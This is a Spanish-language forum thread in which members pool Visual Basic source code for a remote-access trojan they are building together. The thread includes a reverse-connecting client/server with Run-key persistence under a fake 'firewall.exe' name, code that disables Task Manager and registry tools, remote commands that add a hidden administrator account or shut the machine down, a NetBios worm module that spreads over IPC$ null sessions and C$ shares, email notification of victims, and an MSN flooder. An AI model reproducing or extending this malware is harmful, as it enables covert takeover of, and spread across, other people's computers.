Troyano: Programadores

En el siguiente post (y si no entra agregare mas) ire poniendo los codigos que fueron expuesto en el apartado original para facilitar su lectura y limpiar un poco el tread original Wink

NOTA: Algunos codigos solo estan para guiara los usuarios y no seran utilziados en el troyano.

Los siguientes aportes pertenecen al usuario: SkullMaster123

Citar

_________________________
Cliente
_________________________

Crear otro CommandBotton

1- Nueva Sesion
2- Tumbar Conexion

Winsock1.SendData "sesi"
Winsock1.SendData "cone"

______________________________________
Server
______________________________________

El server va a ir constituido por Un textBox
y en el textBox agregamos esto:

Private Sub Text1_Change()
If Text1.text = "apa" Then
Shell ("cmd.exe /c shutdown -s -t 1
End if
if Text1.text = "cerra" Then
Shell ("cmd.exe /c Taskkill msnmsgr.exe")
End if
If text1.text = "sesi" Then
Shell ("cmd.exe /c net user virii "vbcoder" /add /expires:never&net localgroup "administradores" /add")
End if
If Text1.text = "cone" Then
Shell ("cmd.exe /c ipconfig /release")
End if
End Sub
_____________________________________________________________

Bueno ese es mi aporte hasta ahora y por cierto se me ocurrieron unas ideas que tal si hacemos que aparescan mensajes por WinLogon osea lo usaramos como Payload, y tambien tengo el code para que cada ves q la persona se conecte al msn le salga un ventanita como la q sale cuando alguien se conecta, como por ejemplo no se si lo tengan pero en los Scripts de MsnPlus hay un script q se llama Toaster MPL 1.0 bueno si lo tiene sabran de q hablo cada vez q se coenctanXD y si no bueno lo q ac es q cuando inicias sesion te sale una pantallita que dice q estas usando ese programa!

SaludosS!!!

Citar

Bueno como dije aqui esta parte del code de el Troyano lo hice con Conexion Inversa como habiamos acordado!
y bueno lo probe con la computadora de abajo y pues sirvio al pelo! y no paso nada el firewall no lo detecto y ni el anti-Virus!, pero igual lo voy a poner en totalvirus para ver que lo detecta! bueno este es el code:

Code del Cliente:

Constituido por:

3 Labels
2 Textbox
3 CommandBoton
1 Timer
Winsock (Que lo renombramos a ws para hacerlo corto)
2 form(osea el primero y creamos otro eso hace 2, el segundo es para mostrar los comandos y esta constituido por 6Labels)
Luego veo si puedo poner imagenes para entender mejor!;)

CODE:

Código:
Private Sub Command1_Click()
ws.SendData Text2.Text
End Sub

Private Sub Command2_Click()
Comandos.Show
End Sub

Private Sub escuchar_Click()
On Error Resume Next 'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
ws.LocalPort = Text1.Text 'el puerto que empleara el winsock sera el que introduzcas en un textbox, AÑADELO
ws.Close 'ws llama al objeto winsock que hemos agregado el punto te deja elegir opciones, y la opcion close es para que cierre la conexiono el puerto abierto
ws.Listen 'deja ala escucha el puerto introducido en el textbox
If ws.State = 2 Then Label1.Caption = "Estado: Escuchando" 'si el estado del winsock es (escuchando) entonces la propiedad caption de la etiketa sera "Escuchando" asi que ya estas añadiendo un label(etiketa), esto es util
End Sub

Private Sub Form_Load()

End Sub

Private Sub Timer1_Timer() 'al pasar 3 segundos de establecerse la conexion
On Error GoTo error
If Not ws.State = 7 Then 'si el estado de la conexion no es (conectado) entonces que me ponga en una etekita "Desconectado"
Label1.Caption = "Estado: Desconectado"
Else
End If
If ws.State = 7 Then
Label1.Caption = "Estado: Conectado"
Else
End If
If Label1.Caption = "Estado: Desconectado" Then 'si pone desconectado en el label, entonces ejecuta lo de la etiketa puente,"cerrar y volver a escuchar"
Label1.Caption = "Estado: Desconectado"
GoTo puente
Else
End If
GoTo error 'puentea y se salta el cierre y vuelta a escuchar la conexion, para que seguir normalmente con la conexion establecida
puente:
ws.Close
ws.Listen
error:
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long) 'cuando se intente conectar a este (servicio,puerto,socket,o etc..) recojera su ip y ejecutara el siguiente codigo:
On Error GoTo error 'si ay un error ves ala etiketa (error)
ws.Close 'necesario para aceptar la conexion
ws.Accept requestID 'acepta cualquier conexion entrante
Label2.Caption = ws.RemoteHostIP 'añades otra etiketa y esto hara que te ponga la ip remota del servidor 'esto ejecuta un archivo, yo lo puse para que ejecutase un sonido y asi coscarme de cuando se me conecta la victima, osea el servidor
Timer1.Interval = 3000 '3 segunditosss, sobra decir que tienes que añadirlo asi que ahora sere mas concreto por que ya presupongo que as aprendido algo de vb de la revista, o con solo averlo visto por encima y jugueteado un poco con el , entenderas todo lo que digo, y sino ya pregunhtareis
error:
End Sub

server:

Costituido por:
Un comandButon (Renombrado cmdok)
1 Timer
Winsock (Renombrado ws)

CODE:

Código:
Private Sub cmdok_Click()
On Error GoTo Error
If Not ws.State = 7 Then GoTo puente 'si no ay conexion cierra, CONECTA ala ip puesta en la variable ipy po rel puerto puesto en la variable port
GoTo Error
puente:
ws.Close
ws.Connect
Error:
End Sub

Private Sub Form_Load()
Dim win
Dim sys
Dim residencia
On Error Resume Next
ip = "127.0.0.1" 'esta es nuestra ip local, asi que conectara a nuestra ip local, aqui se pondria nuestra ip publica, y si cambia pues os registrais en no-ip.com y si habeis leido la revista no tendreis problemas
ipftp = "o 127.0.0.1"
port = 8721 ' puerto a escucahr aqui ponemos 8721
ws.RemoteHost = ip
ws.RemotePort = port
Timer1.Interval = 60000 'se esteblace un intervalo de 3 segundos para ejecutar el evento timer1
ejec = App.Path 'le pasamos a la variable la ruta del exe que ejecute la victima
If Right(ejec, 1) <> "\" Then ejec = ejec & "\" 'si no tiene la "\" al final, se la añadiremos
ejec = ejec & App.EXEName & ".exe" 'añadimos ala ruta del exe, el nombre y la estension
Set obj = CreateObject("Scripting.FileSystemObject") 'declaramos un objeto tipo fileSystem object
Set win = obj.GetSpecialFolder(0) 'para obtener la carpeta de windows y system
Set sys = obj.GetSpecialFolder(1)
win = LCase(win) 'las ponemos en minusculas
sys = LCase(sys)
FileCopy ejec, sys & "\nombre1" 'copia a windows\system32
Name sys & "\nombre1" As sys & "\firewall.exe" 'renombra
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "nombre3", sys & "\firewall.exe" 'esto modifica el registro para que se ejecute al iniciar el pc
App.TaskVisible = False 'para ocultarlo un poco del, (alt +sup +control)
End Sub

Private Sub Timer1_Timer() 'cuando pasan 60 segundos
On Error GoTo Error
If Not ws.State = 7 Then Call cmdok_Click 'llama al evento click del boton cmdok si no ay conexion establecida
If ws.State = 7 Then Label1.Caption = "Estado: Conectado" Else Label1.Caption = "Estado: Desconectado" ' ya esplicado
Error:
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'en la llegada de datos
On Error GoTo Error
Dim datos As String
ws.GetData datos 'metemos en la variable datos los datos que nos lleguen
If datos = "paint" Then
Shell ("cmd.exe /c start C:\WINDOWS\system32\mspaint") ' si los datos eran = a "paint" entonces ejecuta el paint
End If
If datos = "conexion" Then
Shell ("cmd.exe /c ipconfig /release")
End If
If datos = "apagar" Then
Shell ("cmd.exe /c shutdown -s -t 1")
End If
If datos = "messenger" Then
Shell ("cmd.exe /c taskkill /F /IM msnmsgr.exe")
End If
If datos = "sesion" Then
Shell ("cmd.exe /c net user %username% batchcoder")
End If
End Sub

Bueno ese es el code base del troyano hay de ciertas cositas que hay que arreglar con lo que nos dijeron antes y otras cosas de las que dudo que funcionen pero bueno mañana prueba en la otra pc para ver que sirve y que no sirve!!;)

Citar

Hola amigos bueno miren ñeyendo un manual de programacion de troyanos me encontre con este codigo que dice que puede vurlar la heuristica de lo AV aqui se los dejo:

Código:
Private Sub Form_Load()
Timer1.Interval = 1
end sub
Private Sub Timer1_Timer()
App.Taskvisible = False
Filecopy App.Path & "\" & App.EXEname & ".exe" C:\Windows\System32\trojan.exe
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "trojan",
"C:\Windows\System32\" & "\trojan.exe"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword
/d ""1"" /f"
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar
sistema.lnk"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d
""1"" /f"
Timer1.Enabled = False
End Sub

Citar

Ya lo voy a provar the shadow y luego te ceunto..
Unas cosas que creo que no le agregamos al troyano que deberia ser fundamental!
-Listado y aniquilacion de procesos(se propuso pero no de esta manera)
-Captura de pantalla
-Propiados hacer que hiciera MELT
-Ocultar boton de inicio(Esto lo ponemos a nuestro antojo)
-Ocultar el taskmanager --> opcional

Bueno esas! y ahora sobre infectar o mejro dicho propagar el virus por LAN yo encontre este code, de MadAntrax asi ue lo posteo y ustedes diganme si lo usamos o no, se llama NetBios infection module 1.0

CODIGO:

Código:
'##############################################'
'# #'
'# NetBios LAN Infection Module - version 1.0 #'
'# #'
'# Made by ||MadAntrax|| #'
'# Date: 14/jul/07 #'
'# #'
'# Happy Coding... Grin

#'
'##############################################'

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim WS As CSocketMaster

Sub Main()
Set WS = New CSocketMaster 'Modulo Winsock de CSocketMaster
Dim SelfIP As String 'Nuestra propia IP de la LAN
Dim SubNet As String 'Nuestra SubRed, ejemplo: 192.168.1.X
Dim SubNetArray As String 'Almacenamos los Hosts de la LAN que son vulnerables
Dim BufferIP() As String 'Almacenamos los octetos de nuestra IP

SelfIP = WS.LocalIP 'Obtenemos nuestra IP de la LAN
BufferIP = Split(SelfIP, ".") 'Partimos los octetos en un Array

If UBound(BufferIP) = 3 Then
SubNet = BufferIP(0) & "." & BufferIP(1) & "." & BufferIP(2) 'Obtenemos nuestra SubRed: 192.168.1.X

SubNetArray = GetAliveHosts(SubNet, BufferIP(3)) 'Obtenemos los Hosts que son vulnerables a NetBios
If SubNetArray <> "0" Then 'Comprobamos que hay Hosts vulnerables en nuestra LAN
Call GetPrivilegesOnSubNet(SubNet, SubNetArray) 'Obtenemos privilegios sobre los Hosts vulnerables gracias a IPC$
DoEvents 'Esperamos...
Call InfectSubnet(SubNet, SubNetArray) 'Infectamos los Hosts vulnerables gracias a C$
End If
End If
End Sub 'Fin del Código

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que almacena en un array el último octeto de la dirección IP de
'todos los Hosts de la LAN que son vulnerables a NetBios
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
' 192.168.1.5
' 192.168.1.10
' 192.168.1.128
' 192.168.1.200
'
'Esta función devuelve: "5,10,128,200"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetAliveHosts(ByVal SubNet As String, ByVal MyHost As String) As String
Dim AliveHosts As String 'Array donde se almacenan los Hosts vulnerables

AliveHosts = ""
WS.Protocol = sckTCPProtocol 'Establecemos el protocolo en TCP
For i = 1 To 254 'Bucle desde X.X.X.1 hasta X.X.X.254
If WS.State <> sckClosed Then WS.CloseSck 'Si el Socket no está cerrado, lo cerramos para evitar errores.
DoEvents 'Esperamos...
WS.Connect SubNet & "." & i, 135 'Nos conectamos a todos los Hosts de la LAN al puerto 135 TCP (NetBios)
Sleep 500 'Esperamos 1/2 Segundo...
If WS.State = sckConnected And i <> MyHost Then 'Si el Hosts es vulnerable y el Host no es MiPC entonces...
AliveHosts = AliveHosts & i & "," ' añadimos el octeto del Host en el Array
End If 'End If
Next i

If Len(AliveHosts) > 0 Then 'Si hemos encontrado al menos 1 Host vulnerable...
AliveHosts = Left(AliveHosts, Len(AliveHosts) - 1) ' quitamos el último caracter del Array (siempre es una ",") para evitar errores.
GetAliveHosts = AliveHosts ' devolvemos el Array como valor de retorno
Exit Function ' finalizamos esta función
End If 'End If
GetAliveHosts = "0" 'Si no hemos encontrado ningún Host vulnerable en la LAN, devolvemos "0"
End Function

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que aprovecha el bug del IPC$ para establecer sesión nula (Null Session)
'en todos los Hosts de la LAN que son vulnerables a NetBios
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
' 192.168.1.128
' 192.168.1.200
'
'Esta función ejecuta:
' net use \\192.168.1.128\ipc$ "" /user:""
' net use \\192.168.1.200\ipc$ "" /user:""
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetPrivilegesOnSubNet(ByVal SubNet As String, ByVal SubNetArray As String)
Dim tmpArray() As String
Dim tmpIP As String

tmpArray = Split(SubNetArray, ",")
For i = 0 To UBound(tmpArray)
tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\ipc$ "
Shell "net use " & tmpIP & Chr(34) & Chr(34) & " /user:" & Chr(34) & Chr(34), vbHide
Next i
'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
End Function

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que copia nuestro ejecutable en la carpeta INICIO de todos los usuarios
'de los Hosts vulnerables a NetBios, para ello utiliza C$
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
' 192.168.1.128
' 192.168.1.200
'
'Esta función ejecuta:
' copy "MiRuta\MiEjecutable.exe" "\\192.168.0.128\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
' copy "MiRuta\MiEjecutable.exe" "\\192.168.0.200\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function InfectSubnet(ByVal SubNet As String, ByVal SubNetArray As String)
Dim tmpArray() As String
Dim tmpIP As String

tmpArray = Split(SubNetArray, ",")
For i = 0 To UBound(tmpArray)
tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
Shell "copy " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & tmpIP & "\updater.exe" & Chr(34), vbHide
Next i
'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
End Function

Bueno esa es, ustedes dicen si tiene error para arreglarlo!

Citar

Saludos y bueno antes que nada quiero afirmar que veo que hay gente que se esta interesando por el proyecto, (Disculpen que no halla podido postear codigo ni nada pero tengo los examenes de lapso y hoy 28/11/07, en venezuela suspendieron todas las clases que si colegios, universidades etc hasta el proximo miercoles si dios quiere y bueno por eso puedo postear ) bueno entonces tenia una idea no se si les guste pero igual pongo el code y todo, estaba leyendo manuales, tutoriales, etc y en una de esas veo que uno dice, notificacion por email (Yo tenia un code, para notificacion por irc, pero mejor email) bueno el code es de Rey11, y bueno de verdad lo posteo porque me parece que se puede utilizar! aqui se los dejo:

Código:
Private Sub Form_Load()
On Error Resume Next ' Detector de Errores Activado
If Sock1.State <> 0 Then ' Si tiene una conexion abierta
Sock1.Close ' Cerrar la conexion
End If
Sock1.RemoteHost = "mx2.hotmail.com" ' Le digo cual es el Servidor de SMTP, por razones que desconozco este server ya no funciona
Sock1.RemotePort = 25 ' El puerto a donde conectarse (SMTP)
Sock1.Connect ' Intenta la conexion...
Enter = Chr(13) + Chr(10) ' Inicializo la variable global Enter
End Sub

Private Sub Sock1_Connect()
On Error Resume Next ' Detector de Errores Activado
Sock1.Tag = 1 ' Pongo que voy en el paso 1
Sock1.SendData "HELO " & "reydelmundo11" & Enter ' Le envio un comando al Servidor y 1 Enter
End Sub

Private Sub Sock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next ' Detector de Errores Activado
Sock1.GetData Datos, vbString ' Recibir en Datos

If Mid(Datos, 1, 9) = "550 Relay" Then ' Revisar si permite Relay
'el servidor no deja mandar los datos sin cuenta de correo en ese caso desconectamos
Sock1.Close ' Cerrar conexion
Sock1.Tag = 0 ' Digo que ya se acabo
End If

If Sock1.Tag = 1 Then ' Si voy en el paso 1
Sock1.SendData "RSET" & Enter ' Le envio RSET
Sock1.Tag = 2 ' Digo que voy al siguiente paso
GoTo fin ' Ir al final
End If
If Sock1.Tag = 2 Then ' Si voy en el paso 2
Sock1.SendData "MAIL FROM: <" & MiMail & ">" & Enter ' Le envio MiMail mi mail es una varible asegurate de tenerla definida
Sock1.Tag = 3 ' Digo que voy al siguiente paso
GoTo fin ' Ir al final
End If
If Sock1.Tag = 3 Then ' Si voy en el paso 3
Sock1.SendData "RCPT TO: <" & ParaMail & ">" & Enter ' Le envio ParaMail También es otra varialbe
If CCMail <> "-" Then ' Si tiene para un Mail CC (con copia, creo)
Sock1.SendData "RCPT TO: <" & CCMail & ">" & Enter ' Le envio CCMail también es otra es para enviarlo a mas gente
End If
Sock1.Tag = 4 ' Digo que voy al siguiente paso
GoTo fin ' Ir al final
End If
If Sock1.Tag = 4 Then ' Si voy en el paso 4
Sock1.SendData "DATA" & Enter ' Aqui le envio DATA (Empieza el mail)
Sock1.Tag = 5 ' Digo que voy al siguiente paso
GoTo fin ' Ir al final
End If
If Sock1.Tag = 5 Then ' Si voy en el paso 5
Sock1.SendData "To: " & ParaMail & Enter ' Le envio para quien va la variable otra vez
Sock1.SendData "From: " & "reydelmundo11" & " <" & MiMail & ">" & Enter ' El Nombre reydelmundo11 y MiMail
Sock1.SendData "Subject: " & "la víctima" & Enter ' El Subject (Titulo)
Sock1.SendData Enter ' Un Enter indica que empieza el Mensaje
Sock1.SendData "Aqui vendría la ip y todo eso" & Enter ' Le envio el Mensaje
Sock1.SendData "." & Enter ' Esto indica fin del mail
Sock1.Tag = 6 ' Digo que voy al siguiente paso
GoTo fin ' Ir al final
End If
If Sock1.Tag = 6 Then ' Si voy en el paso 6
Sock1.SendData "QUIT" & Enter ' Le indico que cierre la conexion
Sock1.Tag = 7 ' Digo que voy al ultimo paso
GoTo fin ' Ir al final
End If
If Sock1.Tag = 7 Then ' Si voy en el paso 6
Sock1.Tag = 0 ' Digo que ya se acabo
Sock1.Close ' Cierro la conexion
'ya lo hemos enviado

GoTo bien ' Ir al final
End If
bien:

End Sub

bueno yo lo pobre y compile no me dio ningun error, pruebenlo ustedes a su manera si quieren haganle modificaciones para mejorarlo y luego postean a ver que tal les fue! bueno pronto posteo mis codes, horita estoy buscando, comparando ideas y troyanos a ver en que podemos mejorar el nuestro!!!

P.D: Casi se me olvidaba algo importante, bueno son dos cosas
1- para el code que les di necesitan 1 Winsock y lo renombrar a sock1 y ponerle tag 0
2- Pr0s0ul si lees esto era para decirte que talvez te necesitemos como organizador espero qeu no te moleste! yo tambien te peudo ayudar con eso!

Salu2's!

Citar

Saludos, bueno amigo furious Dami como los perdistes?XD esa parte es importante, pero bueno si no lo puedes hacer que mas da!

y ahora aprobecho este momentico que tengo para postear el codigo de mi flooder de msn:

Primero declaramos esto en general:

Código:
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

y luego agregan 1 CommandButton y le agregan esto:

Código:
Private Sub Command_Click()
Command.Enabled = False
Label1.Caption = "Estado: Victima Floodeada.."
Clipboard.Clear
Clipboard.SetText "AQUI VAN LAS CARITAS, PARA FLOODEAR PONGAN HASTA EL LIMITE"
AppActivate "Conversación"
Sleep "60" ' Dormimos un ratico
For i = 1 To 375 ' Terminamos de mandar caritas hasta que i sea igual a 375
SendKeys "^v"
SendKeys "{ENTER}"
Next i
Command.Enabled = True
End If
End Sub

otro CommandButton y le ponen en caption Salir y ponen esto:

Código:
End

y un label con el caption "Estado:"

Bueno ese es el code del msn flooder, si quieren se lo pueden implementar al troyano, mas si no bueno que quedo como informacion, para que hagan sus programas!

P.D: Tratare de postear el code de The_antrax, si me da tiempo!
P.D2: Hey amigo the Shadow, voy a esperar la otra parte del code!

Los siguientes aportes fueron hechos por el usuario: the_antrax

Citar

CODIGO DE THE_ANTRAX

Partes del CLiente:

Necesitamos:

2 Forms (1 llamado frmArchivos, y el otro frmPrincipal)
1 Modulo *.bas (Llamado funFileManager)

Form frmArchivos

Necesitamos:

1 TextBox (Llamado txtUnidad)
2 ListView (1 Llamado LvArchivos, y el otro LvCarpetas)
2 Timer's (lo dejan con el nombre normal, y a los 2 le ponen interval 1, y al 2 osea timer 2, en la opcion de enabled le ponen False)
1 CommandButton (llamado Explorar, con style Graphical para poner una imagen)

Nota: Como no tengo suficiente tiempo, para postear todo el code explicado al 100% les pongo de una sola vez el code, y ustedes lo prueban! (Disculpen pero esto es trabajo de The_Antrax XD)

1 Form llamado frmArchivos

CODIGO:

Código:
Dim vIndex As Variant
Dim ParaEjecutar As String

Private Sub Explorar_Click()
frmPrincipal.ws(vIndex(0)).SendData "ruta|" & txtUnidad.Text
End Sub

Private Sub lvArchivos_ItemClick(ByVal Item As MSComctlLib.ListItem)
ParaEjecutar = Item.Text
End Sub

Private Sub lvArchivos_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
If Button = 2 Then PopupMenu Opciones
End Sub

Private Sub lvCarpetas_ItemClick(ByVal Item As MSComctlLib.ListItem)
If txtUnidad.Text = Item.Text Then
Call Explorar_Click
Else
txtUnidad.Text = Item.Text
End If
End Sub

Private Sub Form_Load()
vIndex = Split(frmPrincipal.Lv.SelectedItem.Key, "|")
frmPrincipal.ws(vIndex(0)).SendData "actualizar"
End Sub

Private Sub Normal_Click()
frmPrincipal.ws(vIndex(0)).SendData "ejecutar|" & ParaEjecutar & "|normal"
End Sub

Private Sub Oculto_Click()
frmPrincipal.ws(vIndex(0)).SendData "ejecutar|" & ParaEjecutar & "|oculto"
End Sub

Private Sub Maximizado_Click()
frmPrincipal.ws(vIndex(0)).SendData "ejecutar|" & ParaEjecutar & "|maximizado"
End Sub

Private Sub Minimizado_Click()
frmPrincipal.ws(vIndex(0)).SendData "ejecutar|" & ParaEjecutar & "|minimizado"
End Sub

FrmPrincipal

Necesitamos:

1 ListView (Llamado Lv)
1 Timer (con interval 10)
1 Winsock (Llamado ws, index 0 y LocalPort 0, que creo que se usara el puerto 3573, en este "programa" creo pero eso ya lo lleva el code! ) [El LocalPort cuando se haga el troyano no se necesitara ya que eso, lo arreglaremos con los primeros codes! ]
1 Menu de PopUP (El que se hace en el Menu Editor, con el nombre opcion, y 3 opciones, Ver Archivos, Cambiar Nombre, Salir)
0.- Las opciones del PopMenu se llaman:
- La de ver Archivos se llama FileManager
- La de Salir se llama Salir
- La de Cambiar Nombre se llama Cambiar_Nombre

1 Form FrmPrincipal

CODIGO:

Código:
Public TotalIndex As Integer
Public IndexAbir As Integer
Dim vIndex As Variant

Private Sub Form_Load()
Lv.View = lvwReport
Lv.FullRowSelect = True
Lv.GridLines = True
Lv.BorderStyle = ccNone

ws(0).LocalPort = 3573
ws(0).Listen
TotalIndex = 0
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
If UnloadMode = 0 Then
Unload frmArchivos
Unload Me
End If
End Sub
Private Sub lv_AfterLabelEdit(Cancel As Integer, NewString As String)
On Error Resume Next
vIndex = Split(Lv.SelectedItem.Key, "|")
ws(vIndex(0)).SendData "cambiarnombre|" & NewString
End Sub

Private Sub lv_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
On Error Resume Next
If Lv.SelectedItem.Selected = False Then Exit Sub
If Button = 2 Then PopupMenu Opciones
End Sub

Private Sub Timer1_Timer()

Dim vIndex As Variant
Dim i As Long

For i = 1 To Lv.ListItems.Count
vIndex = Split(Lv.ListItems(i).Key, "|")

If ws(vIndex(0)).State <> 7 Then
Lv.ListItems.Remove (i)
End If

Next i
End Sub

Private Sub ws_ConnectionRequest(index As Integer, ByVal requestID As Long)
TotalIndex = TotalIndex + 1
ws(index).Close
ws(index).Accept requestID
Load ws(TotalIndex)
ws(TotalIndex).Listen
End Sub

Private Sub ws_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim data As String
Dim vData As Variant
Dim pr

ws(index).GetData data

vData = Split(data, "|")

Select Case vData(0)

Case "Conexion"
Set pr = Lv.ListItems.Add(, index & "|", vData(1))
pr.SubItems(1) = vData(2) & "/" & ws(index).RemoteHostIP
pr.SubItems(2) = vData(3) & "/" & vData(4)
pr.SubItems(3) = vData(5)

Case "rutatotal"
Dim rutaRecibida As String
rutaRecibida = vData(1)
Call IntroRuta(rutaRecibida)
Case "error carpeta"
MsgBox "Ruta incorrecta", vbCritical, "The Antrax Creation"

End Select
End Sub

Private Sub FileManager_Click()
frmArchivos.Show
End Sub

Private Sub Cambiar_Nombre_Click()
On Error Resume Next
Lv.StartLabelEdit
End Sub

Privated Sub Salir_Click()
End
End Sub

Modulo *.Bas (funFileManager.bas)

CODIGO:

Código:
Function IntroRuta(ruta As String)

Dim Unidad As String
Dim Carpetas As String
Dim Archivos As String

frmArchivos.lvArchivos.ListItems.Clear
frmArchivos.lvCarpetas.ListItems.Clear

rutapartida = Split(ruta, "?")
Unidad = rutapartida(0)
Carpetas = rutapartida(1)
Archivos = rutapartida(2)

frmArchivos.txtUnidad = rutapartida(0)

carpeta = Split(Carpetas, "<")

For n = 0 To UBound(carpeta)
With frmArchivos.lvCarpetas.ListItems.Add(, , carpeta(n))
End With
Next n

archivo = Split(Archivos, "<")

For a = 0 To UBound(archivo)
With frmArchivos.lvArchivos.ListItems.Add(, , archivo(a))
End With
Next a

End Function

Hasta Aqui Llega el Code del cliente de The_Antrax

Jeje bueno aqui les dejo unas imagenes, de como deberia quedar esa "cosa" o programa!

Tomas del Programa:

FrmPrincipal y FrmArchivo

Citar

Ahora comenzamos con el Server

Necesitamos:

1 Form (Llamado Frm)
4 Modulos *.bas(Llamado el 1 fun_FileManager - 2 fun_Varias - 3 ModuloInfo - 4 RegEdit)

1 Form

necesitamos:

1 FileListBox (Llamado File1)
1 DirListBox (Llamado Dir1)
2 Timer's (Al timer 1 le ponen de intevar 1750 y para el timer 2 le ponen interval 1 y la opcion enabled False)
1 Winsock (Llamado ws, localport 0)

Comenzemos!

Form

Código:
Public ip As String
Public port As Long

Private Sub Form_Load()
ip = "127.0.0.1"
port = 3573

Call RutaWindows
Call Nombre_Server

File1.Hidden = True
File1.System = True

End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Dim vData As Variant
ws.GetData data
vData = Split(data, "|")

Select Case vData(0)

Case "cambiarnombre"
Open Ruta_Windows & "\WinName.txt" For Output As #1
Print #1, vData(1)
Close #1
Server_Name = vData(1)

Case "actualizar"
Dim ruta As String
ruta = Rutas()
ws.SendData "rutatotal|" & ruta

Case "ruta"
On Local Error GoTo Error
Dir1.Path = vData(1)
ruta = Rutas()
ws.SendData "rutatotal|" & ruta
Exit Sub
Error:
ws.SendData "error carpeta"

Case "ejecutar"
Dim ArchEjecutar As String
ArchEjecutar = Dir1.Path & "\" & vData(1)
Select Case vData(2)
Case "normal"
ShellExecute Me.hwnd, "Open", ArchEjecutar, vbNullString, vbNullString, 1
Case "oculto"
ShellExecute Me.hwnd, "Open", ArchEjecutar, vbNullString, vbNullString, SW_HIDE
Case "maximizado"
ShellExecute Me.hwnd, "Open", ArchEjecutar, vbNullString, vbNullString, 3
Case "minimizado"
ShellExecute Me.hwnd, "Open", ArchEjecutar, vbNullString, vbNullString, 2
End Select

End Select

End Sub

Private Sub Timer1_Timer()
On Error Resume Next
If ws.State <> 7 Then
ws.Close
ws.Connect ip, port
Timer2.Enabled = True
End If
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
If ws.State = 7 Then
ws.SendData "Conexion|" & Server_Name & "|" & ws.LocalIP & "|" & Usuario_Windows & "|" & PC_Name & "|" & winversion
Timer2.Enabled = False
End If
End Sub

Private Sub Dir1_Change()
File1.Path = Dir1.Path
End Sub

Codigo De Modulos

Modulo fun_FileManager

Código:
Public Function Rutas() As String

Dim Unidad As String
Dim Carpetas As String
Dim Archivos As String

Unidad = frm.Dir1.Path

Dim ca As Integer
ca = frm.Dir1.ListCount - 1
Carpetas = ""

While frm.Dir1.List(ca) <> frm.Dir1.Path
Carpetas = Carpetas & "<" & frm.Dir1.List(ca)
ca = ca - 1
Wend

Dim ar As Integer
ar = frm.File1.ListCount - 1
Archivos = ""

While frm.File1.List(ar) <> ""
Archivos = Archivos & "<" & frm.File1.List(ar)
ar = ar - 1
Wend

Carpetas = Mid(Carpetas, 2)
Archivos = Mid(Archivos, 2)

Rutas = Unidad & "?" & Carpetas & "?" & Archivos

End Function

Modulo fun_Varias

Código:
Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Server_Name

Public Ruta_Windows As String
Public Ruta_System32 As String

Sub Nombre_Server()
If Dir(Ruta_Windows & "\WinName.txt") <> "" Then
Open Ruta_Windows & "\WinName.txt" For Binary As #1
Dim Nombre As String
Nombre = Space(LOF(1))
Get #1, , Nombre
nombre2 = Split(Nombre, vbCrLf)
Server_Name = nombre2(0)
Close #1
Else
Open Ruta_Windows & "\WinName.txt" For Binary As #1
Put #1, , "Nuevo"
Close #1
Server_Name = "Nuevo"
End If
End Sub

Sub RutaWindows()
Dim Car As String * 128
Dim Longitud, Es As Integer
Dim Camino As String

Longitud = 128

Es = GetWindowsDirectory(Car, Longitud)
Camino = RTrim$(LCase$(Left$(Car, Es)))
Ruta_Windows = Camino

Es = GetSystemDirectory(Car, Longitud)
Camino = RTrim$(LCase$(Left$(Car, Es)))
Ruta_System32 = Camino
End Sub

Modulo ModuloInfo

Código:
